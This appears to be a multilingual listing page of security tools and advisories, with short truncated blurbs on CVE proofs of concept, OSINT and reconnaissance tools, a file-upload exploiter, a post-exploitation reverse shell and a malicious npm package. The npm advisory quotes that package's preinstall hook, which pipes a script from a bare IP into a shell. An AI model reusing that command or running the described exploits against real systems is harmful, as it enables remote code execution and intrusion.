Malicious code in grafeno-pix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5c5e1649c30ab63a97fde3073d5e838ea91f5b2eca8149242f0fb24e286c3f3 [email protected] declares a preinstall hook that runs curl -s 216.126.236.46/x.sh | sh, fetching a shell script from a bare IP over plain HTTP and...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 के लिए एक और भी सरल PoC और Scanner, क्योंकि यह स्थिर पैकेट का उपयोग करता है। सार्वजनिक IP पर आकस्मिक उपयोग को रोकने के लिए एक सुरक्षा है ऐसा न करें और क्रैशिंग को चालू/बंद करने का एक स्विच है। केवल वेनिला Python 3 की आवश्यकता है! स्कैन मोड: root@kitploit: python3...

http2smugl

http2smugl This tool helps to detect and exploit HTTP request smuggling in cases it can be achieved via HTTP/2 - HTTP/1.1 conversion by the frontend server. The scheme is as follows: 1. An attacker sends a crafted HTTP/2 request to the target server, which we call frontend. 2. The request is...

katoolin

katoolin स्वचालित रूप से सभी Kali Linux उपकरण स्थापित करें विशेषताएँ Kali Linux रिपॉजिटरी जोड़ें Kali Linux रिपॉजिटरी हटाएँ Kali Linux उपकरण स्थापित करें आवश्यकताएँ Python 2.7 एक ऑपरेटिंग सिस्टम Ubuntu पर परीक्षण किया गया स्थापना sudo su git clone https://github.com/LionSec/katoolin.git && cp...

ipChecker

ipChecker أداة للتحقق مما إذا كان عنوان IP معين هو عقدة تور أو وكيل مفتوح. لماذا؟ أحيانًا لا تكون كل إجراءات التقييد كافية لوقف هجمات القوة الغاشمة أو أي نوع من الهجمات الجماعية، لذا يمكن أن تساعدك في إسقاط بعض المهاجمين الذين يستخدمون تور أو وكلاء مفتوحين. كيف يعمل يحتوي ipChecker على بعض الإضاف...

AnalyticsRelationships

AnalyticsRelationships يحاول هذا السكريبت الحصول على النطاقات/النطاقات الفرعية المرتبطة من خلال البحث عن معرفات Google Analytics من رابط URL. أولاً يبحث عن معرف Google Analytics في صفحة الويب ثم يرسل طلباً إلى builtwith و hackertarget باستخدام المعرف. ملاحظة : لا يعمل مع جميع المواقع. يتم البحث...

CVE-2026-46300_Fragnesia

🧨 Fragnesia — CVE-2026-46300 حزمة تدقيق واستغلال LPE لنواة Linux · انحدار Page-Cache / XFRM ESP-in-TCP espintcp تدقيق تفاعلي ← كشف متطلبات LPE ← تنفيذ الاستغلال تلقائيًا بعد التأكيد ⚠️ تحذير أخلاقي وقانوني هذه الأداة مخصّصة فقط لاختبارات الأمان المشروعة والمصرَّح بها — اختبار اختراق بعقد، أو بيئة...

InfoHound

InfoHound - डोमेन प्रोफाइलिंग के लिए OSINT उपकरण टोही reconnaissance चरण के दौरान, एक हमलावर अपने लक्ष्य के बारे में किसी भी जानकारी की खोज करता है ताकि एक प्रोफाइल तैयार कर सके जो बाद में किसी संगठन में प्रवेश करने के संभावित तरीकों की पहचान करने में मदद करेगी। InfoHound, दिए गए वेब डोमेन नाम से...

fuxploider

fuxploider Fuxploider is an open source penetration testing tool that automates the process of detecting and exploiting file upload forms flaws. This tool is able to detect the file types allowed to be uploaded and is able to detect which technique will work best to upload web shells or any...

fuxploider

fuxploider Fuxploider هي أداة اختبار اختراق مفتوحة المصدر تعمل على أتمتة عملية اكتشاف واستغلال ثغرات نماذج رفع الملفات. تستطيع هذه الأداة اكتشاف أنواع الملفات المسموح برفعها، كما تستطيع تحديد التقنية الأكثر فعالية لرفع شيلات الويب أو أي ملف ضار على خادم الويب المستهدف. لقطات الشاشة التثبيت ستحتاج...

clusterfuzz

ClusterFuzz ClusterFuzz is a scalable fuzzing infrastructure that finds security and stability issues in software. Google uses ClusterFuzz to fuzz all Google products and as the fuzzing backend for OSS-Fuzz. ClusterFuzz provides many features which help seamlessly integrate fuzzing into a softwar...

CVE-2025-64446

🛡️ CVE-2025-64446 - FortiWeb क्रिटिकल प्रमाणीकरण बाईपास और पथ ट्रैवर्सल एक गंभीर अप्रमाणित भेद्यता जो दूरस्थ हमलावरों को FortiWeb उपकरणों पर व्यवस्थापक खाते बनाने की अनुमति देती है। 📌 अवलोकन CVE-2025-64446 FortiWeb वेब एप्लिकेशन फ़ायरवॉल प्रबंधन इंटरफ़ेस में एक गंभीर सापेक्ष पथ ट्रैवर्सल भेद्यता...

postshell

PostShell PostShell هي شيل استغلال لاحق يتضمن كلًا من شيل الربط وشيل الاتصال العكسي. تنشئ TTY تفاعلي بالكامل يسمح بالتحكم في الوظائف. حجم البرنامج الصغير حوالي 14 كيلوبايت ويمكن ترجمته على أي نظام يشبه يونكس. لقطات الشاشة الشعار والتفاعل مع الشيل بعد بدء الاتصال. لماذا لا تستخدم شيل اتصال عكسي/رب...

postshell

PostShell PostShell is a post-exploitation shell that includes both a bind and a back connect shell. It creates a fully interactive TTY which allows for job control. The stub size is around 14kb and can be compiled on any Unix like system. ScreenShots Banner and interaction with shell after a...

CVE-2025-66849

CVE-2025-66849 Ghost CMS विशेषाधिकार वृद्धि PoC सारांश Ghost Foundation Ghost CMS 6.4.0 तक के संस्करणों में, पोस्ट ड्राफ्ट एडिटर के अंतर्गत HTML ब्लॉक उपयोगकर्ता द्वारा प्रदान की गई सामग्री को उचित रूप से सैनिटाइज़ या एन्कोड करने में विफल रहता है, जिसके परिणामस्वरूप एक संग्रहीत क्रॉस-साइट...

navgix

navgix navgix एक मल्टी-थ्रेडेड गोलैंग टूल है जो nginx alias traversal कमजोरियों की जाँच करेगा। तकनीकें वर्तमान में, navgix कमजोर निर्देशिकाओं या location aliases को खोजने के लिए 2 तकनीकों का समर्थन करता है। वे इस प्रकार हैं: अनुमान navgix पृष्ठ पर एक प्रारंभिक GET अनुरोध करेगा, और यदि पृष्ठ HTML...

Satellian-CVE-2020-7980

Satellian-CVE-2020-7980 Satellian एक PoC स्क्रिप्ट है जो Intellian Satellite कंट्रोलर Intellian Aptus Web पर RCE भेद्यता दर्शाती है। निम्नलिखित स्क्रिप्ट सिस्टम में सभी बाइनरी को सूचीबद्ध करने का प्रयास करेगी और उसके बाद परीक्षक को सीधे सर्वर आमतौर पर रूट के रूप में से इंटरैक्ट करने की अनुमति देग...

CVE-2024-40725-CVE-2024-40898

🚨अलर्ट🚨Apache भेद्यता 🚨अलर्ट🚨सुरक्षा सलाह: CVE-2024-40725 और CVE-2024-40898🚨अलर्ट🚨 CVE-2024-40725 विवरण: CVE-2024-40725, Apache HTTP Server संस्करण 2.4.0 से 2.4.61 में पाई जाने वाली उच्च-गंभीरता वाली भेद्यता है। यह भेद्यता modproxy मॉड्यूल को प्रभावित करती है। जब ProxyPass निर्देश सक्षम होता है औ...

wpCrack

wpCrack v1.0 الإصدار 1.0 التثبيت git clone https://github.com/MrSqar-Ye/wpCrack.git أداة كسر تجزئة ووردبريس فيديو جهة الاتصال : تويتر : @M4DM0E أرسل إلى البريد الإلكتروني...

chiasmodon

Chiasmodon Chiasmodon is an OSINT tool that allows users to gather information from various sources and conduct targeted searches based on domains, Google Play applications, email addresses, IP addresses, organizations, URLs, and more. It provides comprehensive scanning capabilities, customizable...